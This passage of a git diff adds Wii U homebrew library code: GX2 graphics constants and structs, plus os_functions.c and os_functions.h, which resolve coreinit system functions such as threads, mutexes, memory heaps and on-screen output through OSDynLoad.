GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM 0x0000000a +#define GX2_SURFACE_FORMAT_TC_R4_G4_B4_A4_UNORM 0x0000000b +#define GX2_SURFACE_FORMAT_TC_A1_B5_G5_R5_UNORM 0x0000000c +#define GX2_SURFACE_FORMAT_TC_R16_G16_UNORM 0x0000000f +#define GX2_SURFACE_FORMAT_D_D24_S8_UNORM 0x00000011 +#define GX2_SURFACE_FORMAT_T_R24_UNORM_X8 0x00000011 +#define GX2_SURFACE_FORMAT_TCS_R10_G10_B10_A2_UNORM 0x00000019 +#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_UNORM 0x0000001a +#define GX2_SURFACE_FORMAT_TCS_A2_B10_G10_R10_UNORM 0x0000001b +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UNORM 0x0000001f +#define GX2_SURFACE_FORMAT_T_BC1_UNORM 0x00000031 +#define GX2_SURFACE_FORMAT_T_BC2_UNORM 0x00000032 +#define GX2_SURFACE_FORMAT_T_BC3_UNORM 0x00000033 +#define GX2_SURFACE_FORMAT_T_BC4_UNORM 0x00000034 +#define GX2_SURFACE_FORMAT_T_BC5_UNORM 0x00000035 +#define GX2_SURFACE_FORMAT_T_NV12_UNORM 0x00000081 + +#define GX2_SURFACE_FORMAT_TC_R8_UINT 0x00000101 +#define GX2_SURFACE_FORMAT_TC_R16_UINT 0x00000105 +#define GX2_SURFACE_FORMAT_TC_R8_G8_UINT 0x00000107 +#define GX2_SURFACE_FORMAT_TC_R32_UINT 0x0000010d +#define GX2_SURFACE_FORMAT_TC_R16_G16_UINT 0x0000010f +#define GX2_SURFACE_FORMAT_T_X24_G8_UINT 0x00000111 +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_UINT 0x00000119 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_UINT 0x0000011a +#define GX2_SURFACE_FORMAT_TC_A2_B10_G10_R10_UINT 0x0000011b +#define GX2_SURFACE_FORMAT_T_X32_G8_UINT_X24 0x0000011c +#define GX2_SURFACE_FORMAT_TC_R32_G32_UINT 0x0000011d +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_UINT 0x0000011f +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_UINT 0x00000122 + +#define GX2_SURFACE_FORMAT_TC_R8_SNORM 0x00000201 +#define GX2_SURFACE_FORMAT_TC_R16_SNORM 0x00000205 +#define GX2_SURFACE_FORMAT_TC_R8_G8_SNORM 0x00000207 +#define GX2_SURFACE_FORMAT_TC_R16_G16_SNORM 0x0000020f +#define GX2_SURFACE_FORMAT_T_R10_G10_B10_A2_SNORM 0x00000219 +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SNORM 0x00000219 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SNORM 0x0000021a +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SNORM 0x0000021f +#define GX2_SURFACE_FORMAT_T_BC4_SNORM 0x00000234 +#define GX2_SURFACE_FORMAT_T_BC5_SNORM 0x00000235 + +#define GX2_SURFACE_FORMAT_TC_R8_SINT 0x00000301 +#define GX2_SURFACE_FORMAT_TC_R16_SINT 0x00000305 +#define GX2_SURFACE_FORMAT_TC_R8_G8_SINT 0x00000307 +#define GX2_SURFACE_FORMAT_TC_R32_SINT 0x0000030d +#define GX2_SURFACE_FORMAT_TC_R16_G16_SINT 0x0000030f +#define GX2_SURFACE_FORMAT_TC_R10_G10_B10_A2_SINT 0x00000319 +#define GX2_SURFACE_FORMAT_TC_R8_G8_B8_A8_SINT 0x0000031a +#define GX2_SURFACE_FORMAT_TC_R32_G32_SINT 0x0000031d +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_SINT 0x0000031f +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_SINT 0x00000322 + +#define GX2_SURFACE_FORMAT_TCS_R8_G8_B8_A8_SRGB 0x0000041a +#define GX2_SURFACE_FORMAT_T_BC1_SRGB 0x00000431 +#define GX2_SURFACE_FORMAT_T_BC2_SRGB 0x00000432 +#define GX2_SURFACE_FORMAT_T_BC3_SRGB 0x00000433 + +#define GX2_SURFACE_FORMAT_TC_R16_FLOAT 0x00000806 +#define GX2_SURFACE_FORMAT_TCD_R32_FLOAT 0x0000080e +#define GX2_SURFACE_FORMAT_TC_R16_G16_FLOAT 0x00000810 +#define GX2_SURFACE_FORMAT_D_D24_S8_FLOAT 0x00000811 +#define GX2_SURFACE_FORMAT_TC_R11_G11_B10_FLOAT 0x00000816 +#define GX2_SURFACE_FORMAT_D_D32_FLOAT_S8_UINT_X24 0x0000081c +#define GX2_SURFACE_FORMAT_T_R32_FLOAT_X8_X24 0x0000081c +#define GX2_SURFACE_FORMAT_TC_R32_G32_FLOAT 0x0000081e +#define GX2_SURFACE_FORMAT_TC_R16_G16_B16_A16_FLOAT 0x00000820 +#define GX2_SURFACE_FORMAT_TC_R32_G32_B32_A32_FLOAT 0x00000823 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 tile modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TILE_MODE_DEFAULT 0x00000000 +#define GX2_TILE_MODE_LINEAR_ALIGNED 0x00000001 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface use +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_USE_TEXTURE 0x00000001 +#define GX2_SURFACE_USE_COLOR_BUFFER 0x00000002 +#define GX2_SURFACE_USE_DEPTH_BUFFER 0x00000004 +#define GX2_SURFACE_USE_SCAN_BUFFER 0x00000008 +#define GX2_SURFACE_USE_FTV 0x80000000 +#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_TEXTURE) +#define GX2_SURFACE_USE_DEPTH_BUFFER_TEXTURE (GX2_SURFACE_USE_DEPTH_BUFFER | GX2_SURFACE_USE_TEXTURE) +#define GX2_SURFACE_USE_COLOR_BUFFER_FTV (GX2_SURFACE_USE_COLOR_BUFFER | GX2_SURFACE_USE_FTV) +#define GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE_FTV (GX2_SURFACE_USE_COLOR_BUFFER_TEXTURE | GX2_SURFACE_USE_FTV) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 surface dim +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SURFACE_DIM_1D 0x00000000 +#define GX2_SURFACE_DIM_2D 0x00000001 +#define GX2_SURFACE_DIM_3D 0x00000002 +#define GX2_SURFACE_DIM_CUBE 0x00000003 +#define GX2_SURFACE_DIM_1D_ARRAY 0x00000004 +#define GX2_SURFACE_DIM_2D_ARRAY 0x00000005 +#define GX2_SURFACE_DIM_2D_MSAA 0x00000006 +#define GX2_SURFACE_DIM_2D_MSAA_ARRAY 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 AA modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_AA_MODE_1X 0x00000000 +#define GX2_AA_MODE_2X 0x00000001 +#define GX2_AA_MODE_4X 0x00000002 +#define GX2_AA_MODE_8X 0x00000003 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 texture clamp +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TEX_CLAMP_WRAP 0x00000000 +#define GX2_TEX_CLAMP_MIRROR 0x00000001 +#define GX2_TEX_CLAMP_CLAMP 0x00000002 +#define GX2_TEX_CLAMP_MIRROR_ONCE 0x00000003 +#define GX2_TEX_CLAMP_CLAMP_HALF_BORDER 0x00000004 +#define GX2_TEX_CLAMP_MIRROR_ONCE_HALF_BORDER 0x00000005 +#define GX2_TEX_CLAMP_CLAMP_BORDER 0x00000006 +#define GX2_TEX_CLAMP_MIRROR_ONCE_BORDER 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 texture filter +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TEX_XY_FILTER_POINT 0x00000000 +#define GX2_TEX_XY_FILTER_BILINEAR 0x00000001 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 TV scan modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TV_SCAN_MODE_NONE 0x00000000 +#define GX2_TV_SCAN_MODE_576I 0x00000001 +#define GX2_TV_SCAN_MODE_480I 0x00000002 +#define GX2_TV_SCAN_MODE_480P 0x00000003 +#define GX2_TV_SCAN_MODE_720P 0x00000004 +#define GX2_TV_SCAN_MODE_1080I 0x00000006 +#define GX2_TV_SCAN_MODE_1080P 0x00000007 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 TV render modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TV_RENDER_480_NARROW 0x00000001 +#define GX2_TV_RENDER_480_WIDE 0x00000002 +#define GX2_TV_RENDER_720 0x00000003 +#define GX2_TV_RENDER_1080 0x00000005 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 DRC render modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_DRC_NONE 0x00000000 +#define GX2_DRC_SINGLE 0x00000001 +#define GX2_DRC_DOUBLE 0x00000002 +#define GX2_DRC_SINGLE_30HZ 0x00000004 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 buffering mode +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_BUFFERING_SINGLE 0x00000001 +#define GX2_BUFFERING_DOUBLE 0x00000002 +#define GX2_BUFFERING_TRIPLE 0x00000003 +#define GX2_BUFFERING_QUAD +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 scan targets +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_SCAN_TARGET_TV 0x00000001 +#define GX2_SCAN_TARGET_DRC_FIRST 0x00000004 +#define GX2_SCAN_TARGET_DRC_SECOND 0x00000008 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 invalidate types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_INVALIDATE_ATTRIB_BUFFER 0x00000001 +#define GX2_INVALIDATE_TEXTURE 0x00000002 +#define GX2_INVALIDATE_UNIFORM_BLOCK 0x00000004 +#define GX2_INVALIDATE_SHADER 0x00000008 +#define GX2_INVALIDATE_COLOR_BUFFER 0x00000010 +#define GX2_INVALIDATE_DEPTH_BUFFER 0x00000020 +#define GX2_INVALIDATE_CPU 0x00000040 +#define GX2_INVALIDATE_CPU_ATTRIB_BUFFER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_ATTRIB_BUFFER) +#define GX2_INVALIDATE_CPU_TEXTURE (GX2_INVALIDATE_CPU | GX2_INVALIDATE_TEXTURE) +#define GX2_INVALIDATE_CPU_UNIFORM_BLOCK (GX2_INVALIDATE_CPU | GX2_INVALIDATE_UNIFORM_BLOCK) +#define GX2_INVALIDATE_CPU_SHADER (GX2_INVALIDATE_CPU | GX2_INVALIDATE_SHADER) + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 swap modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_ENDIANSWAP_DEFAULT 0x00000003 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 tessellation modes +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_TESSELLATION_MODE_DISCRETE 0x00000000 +#define GX2_TESSELLATION_MODE_CONTINUOUS 0x00000001 +#define GX2_TESSELLATION_MODE_ADAPTIVE 0x00000002 + +//!----------------------------------------------------------------------------------------------------------------------- +//! GX2 fetch shader types +//!----------------------------------------------------------------------------------------------------------------------- +#define GX2_FETCH_SHADER_TESSELATION_NONE 0x00000000 +#define GX2_FETCH_SHADER_TESSELATION_LINES 0x00000001 +#define GX2_FETCH_SHADER_TESSELATION_TRIANGLES 0x00000002 +#define GX2_FETCH_SHADER_TESSELATION_QUADS 0x00000003 + + +typedef struct _GX2ContextState { + u8 data[GX2_CONTEXT_STATE_SIZE]; +} GX2ContextState; + +typedef struct _GX2Surface { + s32 dimension; + u32 width; + u32 height; + u32 depth; + u32 num_mips; + s32 format; + s32 aa; + s32 use; + u32 image_size; + void *image_data; + u32 mip_size; + void *mip_data; + s32 tile; + u32 swizzle; + u32 align; + u32 pitch; + u32 mip_offset[13]; +} GX2Surface; + +typedef struct _GX2ColorBuffer { + GX2Surface surface; + u32 view_mip; + u32 view_first_slice; + u32 view_slices_count; + void *aux_data; + u32 aux_size; + u32 regs[5]; +} GX2ColorBuffer; + +typedef struct _GX2DepthBuffer { + GX2Surface surface; + u32 view_mip; + u32 view_first_slice; + u32 view_slices_count; + void *hiZ_data; + u32 hiZ_size; + f32 clear_depth; + u32 clear_stencil; + u32 regs[7]; +} GX2DepthBuffer; + + +typedef struct _GX2Texture { + GX2Surface surface; + u32 view_first_mip; + u32 view_mips_count; + u32 view_first_slice; + u32 view_slices_count; + u32 component_selector; + u32 regs[5]; +} GX2Texture; + + +typedef struct _GX2Sampler { + u32 regs[3]; +} GX2Sampler; + +typedef struct _GX2AttribStream { + u32 location; + u32 buffer; + u32 offset; + s32 format; + s32 index_type; + u32 divisor; + u32 destination_selector; + s32 endian_swap; +} GX2AttribStream; + +typedef struct _GX2FetchShader { + s32 type; + u32 reg; + u32 shader_size; + void *shader_program; + u32 attributes_count; + u32 divisor[3]; +} GX2FetchShader; + +typedef struct _GX2AttribVar +{ + const char *name; + s32 var_type; + u32 array_count; + u32 location; +} GX2AttribVar; + + +typedef struct _GX2UniformBlock { + const char *name; + u32 location; + u32 block_size; +} GX2UniformBlock; + +typedef struct _GX2UniformInitialValue { + f32 value[4]; + u32 offset; +} GX2UniformInitialValue; + +typedef struct _GX2SamplerVar +{ + const char *name; + s32 sampler_type; + u32 location; +} GX2SamplerVar; + +typedef struct _GX2UniformVar +{ + const char *name; + s32 var_type; + u32 array_count; + u32 offset; + u32 block_index; +} GX2UniformVar; + +typedef struct _GX2VertexShader { + u32 regs[52]; + u32 shader_size; + void *shader_data; + s32 shader_mode; + u32 uniform_blocks_count; + GX2UniformBlock *uniform_block; + u32 uniform_vars_count; + GX2UniformVar *uniform_var; + u32 initial_values_count; + GX2UniformInitialValue *initial_value; + u32 loops_count; + void *loops_data; + u32 sampler_vars_count; + GX2SamplerVar *sampler_var; + u32 attribute_vars_count; + GX2AttribVar *attribute_var; + u32 data[6]; + u32 shader_program_buffer[16]; +} GX2VertexShader; + +typedef struct _GX2PixelShader { + u32 regs[41]; + u32 shader_size; + void *shader_data; + s32 shader_mode; + u32 uniform_blocks_count; + GX2UniformBlock *uniform_block; + u32 uniform_vars_count; + GX2UniformVar *uniform_var; + u32 initial_values_count; + GX2UniformInitialValue *initial_value; + u32 loops_count; + void *loops_data; + u32 sampler_vars_count; + GX2SamplerVar *sampler_var; + u32 shader_program_buffer[16]; +} GX2PixelShader; + +static const u32 attribute_dest_comp_selector[20] = { + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW +}; + +static const u32 texture_comp_selector[54] = { + GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_X001, + GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_WZYX, GX2_COMP_SEL_X001, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_WZYX, GX2_COMP_SEL_XY01, GX2_COMP_SEL_XY01, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, + GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_X001, + GX2_COMP_SEL_XY01, GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_NONE, GX2_COMP_SEL_XYZ1, + GX2_COMP_SEL_XYZ1, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_XYZW, GX2_COMP_SEL_X001, GX2_COMP_SEL_XY01 +}; + +typedef struct _GX2Color { + u8 r, g, b, a; +} GX2Color; + +typedef struct _GX2ColorF32 { + f32 r, g, b, a; +} GX2ColorF32; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/src/dynamic_libs/os_functions.c b/src/dynamic_libs/os_functions.c new file mode 100644 index 0000000..ac4df6f --- /dev/null +++ b/src/dynamic_libs/os_functions.c @@ -0,0 +1,216 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#include "common/common.h" +#include "os_functions.h" + +unsigned int coreinit_handle __attribute__((section(".data"))) = 0; + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Lib handle functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSDynLoad_Acquire, const char* rpl, u32 *handle); +EXPORT_DECL(int, OSDynLoad_FindExport, u32 handle, int isdata, const char *symbol, void *address); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Security functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSGetSecurityLevel, void); +EXPORT_DECL(int, OSForceFullRelaunch, void); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Thread functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, OSCreateThread, void *thread, s32 (*callback)(s32, void*), s32 argc, void *args, u32 stack, u32 stack_size, s32 priority, u32 attr); +EXPORT_DECL(int, OSResumeThread, void *thread); +EXPORT_DECL(int, OSSuspendThread, void *thread); +EXPORT_DECL(int, OSIsThreadTerminated, void *thread); +EXPORT_DECL(int, OSIsThreadSuspended, void *thread); +EXPORT_DECL(int, OSSetThreadPriority, void * thread, int priority); +EXPORT_DECL(int, OSJoinThread, void * thread, int * ret_val); +EXPORT_DECL(void, OSDetachThread, void * thread); +EXPORT_DECL(void, OSSleepTicks, u64 ticks); +EXPORT_DECL(u64, OSGetTick, void); +EXPORT_DECL(u64, OSGetTime, void); +EXPORT_DECL(void, OSTicksToCalendarTime, u64 time, OSCalendarTime * calendarTime); + + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Mutex functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(void, OSInitMutex, void* mutex); +EXPORT_DECL(void, OSLockMutex, void* mutex); +EXPORT_DECL(void, OSUnlockMutex, void* mutex); +EXPORT_DECL(int, OSTryLockMutex, void* mutex); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! System functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(u64, OSGetTitleID, void); +EXPORT_DECL(void, OSGetArgcArgv, int* argc, char*** argv); +EXPORT_DECL(void, __Exit, void); +EXPORT_DECL(void, OSFatal, const char* msg); +EXPORT_DECL(void, OSSetExceptionCallback, u8 exceptionType, exception_callback newCallback); +EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); +EXPORT_DECL(void, DCStoreRange, const void *addr, u32 length); +EXPORT_DECL(void, DCInvalidateRange, const void *addr, u32 length); +EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); +EXPORT_DECL(void*, OSEffectiveToPhysical, const void*); +EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); +EXPORT_DECL(int *, __gh_errno_ptr, void); + +EXPORT_DECL(void, OSScreenInit, void); +EXPORT_DECL(void, OSScreenShutdown, void); +EXPORT_DECL(unsigned int, OSScreenGetBufferSizeEx, unsigned int bufferNum); +EXPORT_DECL(int, OSScreenSetBufferEx, unsigned int bufferNum, void * addr); +EXPORT_DECL(int, OSScreenClearBufferEx, unsigned int bufferNum, unsigned int temp); +EXPORT_DECL(int, OSScreenFlipBuffersEx, unsigned int bufferNum); +EXPORT_DECL(int, OSScreenPutFontEx, unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); +EXPORT_DECL(int, OSScreenEnableEx, unsigned int bufferNum, int enable); + +EXPORT_DECL(int, IOS_Ioctl,int fd, unsigned int request, void *input_buffer,unsigned int input_buffer_len, void *output_buffer, unsigned int output_buffer_len); +EXPORT_DECL(int, IOS_Open,char *path, unsigned int mode); +EXPORT_DECL(int, IOS_Close,int fd); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! Memory functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeapEx); +EXPORT_VAR(unsigned int *, pMEMAllocFromDefaultHeap); +EXPORT_VAR(unsigned int *, pMEMFreeToDefaultHeap); + +EXPORT_DECL(int, MEMGetBaseHeapHandle, int mem_arena); +EXPORT_DECL(unsigned int, MEMGetAllocatableSizeForFrmHeapEx, int heap, int align); +EXPORT_DECL(void *, MEMAllocFromFrmHeapEx, int heap, unsigned int size, int align); +EXPORT_DECL(void, MEMFreeToFrmHeap, int heap, int mode); +EXPORT_DECL(void *, MEMAllocFromExpHeapEx, int heap, unsigned int size, int align); +EXPORT_DECL(int , MEMCreateExpHeapEx, void* address, unsigned int size, unsigned short flags); +EXPORT_DECL(void *, MEMDestroyExpHeap, int heap); +EXPORT_DECL(void, MEMFreeToExpHeap, int heap, void* ptr); + +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +//! MCP functions +//!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- +EXPORT_DECL(int, MCP_Open, void); +EXPORT_DECL(int, MCP_Close, int handle); +EXPORT_DECL(int, MCP_GetOwnTitleInfo, int handle, void * data); + + +void InitAcquireOS(void) +{ + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Lib handle functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + EXPORT_FUNC_WRITE(OSDynLoad_Acquire, (int (*)(const char*, unsigned *))OS_SPECIFICS->addr_OSDynLoad_Acquire); + EXPORT_FUNC_WRITE(OSDynLoad_FindExport, (int (*)(u32, int, const char *, void *))OS_SPECIFICS->addr_OSDynLoad_FindExport); + + OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); +} + +void InitOSFunctionPointers(void) +{ + unsigned int *funcPointer = 0; + + InitAcquireOS(); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Security functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSGetSecurityLevel); + OS_FIND_EXPORT(coreinit_handle, OSForceFullRelaunch); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! System functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSFatal); + OS_FIND_EXPORT(coreinit_handle, OSGetTitleID); + OS_FIND_EXPORT(coreinit_handle, OSGetArgcArgv); + OS_FIND_EXPORT(coreinit_handle, OSSetExceptionCallback); + OS_FIND_EXPORT(coreinit_handle, DCFlushRange); + OS_FIND_EXPORT(coreinit_handle, DCStoreRange); + OS_FIND_EXPORT(coreinit_handle, DCInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, ICInvalidateRange); + OS_FIND_EXPORT(coreinit_handle, OSEffectiveToPhysical); + OS_FIND_EXPORT(coreinit_handle, __os_snprintf); + OS_FIND_EXPORT(coreinit_handle, __gh_errno_ptr); + + OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &__Exit); + + OS_FIND_EXPORT(coreinit_handle, OSScreenInit); + OS_FIND_EXPORT(coreinit_handle, OSScreenShutdown); + OS_FIND_EXPORT(coreinit_handle, OSScreenGetBufferSizeEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenSetBufferEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenClearBufferEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenFlipBuffersEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenPutFontEx); + OS_FIND_EXPORT(coreinit_handle, OSScreenEnableEx); + + OS_FIND_EXPORT(coreinit_handle, IOS_Ioctl); + OS_FIND_EXPORT(coreinit_handle, IOS_Open); + OS_FIND_EXPORT(coreinit_handle, IOS_Close); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Thread functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSCreateThread); + OS_FIND_EXPORT(coreinit_handle, OSResumeThread); + OS_FIND_EXPORT(coreinit_handle, OSSuspendThread); + OS_FIND_EXPORT(coreinit_handle, OSIsThreadTerminated); + OS_FIND_EXPORT(coreinit_handle, OSIsThreadSuspended); + OS_FIND_EXPORT(coreinit_handle, OSJoinThread); + OS_FIND_EXPORT(coreinit_handle, OSSetThreadPriority); + OS_FIND_EXPORT(coreinit_handle, OSDetachThread); + OS_FIND_EXPORT(coreinit_handle, OSSleepTicks); + OS_FIND_EXPORT(coreinit_handle, OSGetTick); + OS_FIND_EXPORT(coreinit_handle, OSGetTime); + OS_FIND_EXPORT(coreinit_handle, OSTicksToCalendarTime); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Mutex functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, OSInitMutex); + OS_FIND_EXPORT(coreinit_handle, OSLockMutex); + OS_FIND_EXPORT(coreinit_handle, OSUnlockMutex); + OS_FIND_EXPORT(coreinit_handle, OSTryLockMutex); + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! MCP functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OS_FIND_EXPORT(coreinit_handle, MCP_Open); + OS_FIND_EXPORT(coreinit_handle, MCP_Close); + OS_FIND_EXPORT(coreinit_handle, MCP_GetOwnTitleInfo); + + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + //! Memory functions + //!---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeap", &pMEMAllocFromDefaultHeap); + OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap); + + OS_FIND_EXPORT(coreinit_handle, MEMGetBaseHeapHandle); + OS_FIND_EXPORT(coreinit_handle, MEMGetAllocatableSizeForFrmHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMAllocFromFrmHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMFreeToFrmHeap); + OS_FIND_EXPORT(coreinit_handle, MEMAllocFromExpHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMCreateExpHeapEx); + OS_FIND_EXPORT(coreinit_handle, MEMDestroyExpHeap); + OS_FIND_EXPORT(coreinit_handle, MEMFreeToExpHeap); +} diff --git a/src/dynamic_libs/os_functions.h b/src/dynamic_libs/os_functions.h new file mode 100644 index 0000000..0dc7c52 --- /dev/null +++ b/src/dynamic_libs/os_functions.h @@ -0,0 +1,150 @@ +/**************************************************************************** + * Copyright (C) 2015 + * by Dimok + * + * This software is provided 'as-is', without any express or implied + * warranty. In no event will the authors be held liable for any + * damages arising from the use of this software. + * + * Permission is granted to anyone to use this software for any + * purpose, including commercial applications, and to alter it and + * redistribute it freely, subject to the following restrictions: + * + * 1. The origin of this software must not be misrepresented; you + * must not claim that you wrote the original software. If you use + * this software in a product, an acknowledgment in the product + * documentation would be appreciated but is not required. + * + * 2. Altered source versions must be plainly marked as such, and + * must not be misrepresented as being the original software. + * + * 3. This notice may not be removed or altered from any source + * distribution. + ***************************************************************************/ +#ifndef __OS_FUNCTIONS_H_ +#define __OS_FUNCTIONS_H_ + +#include +#include "common/os_defs.h" +#include "os_types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define BUS_SPEED 248625000 +#define 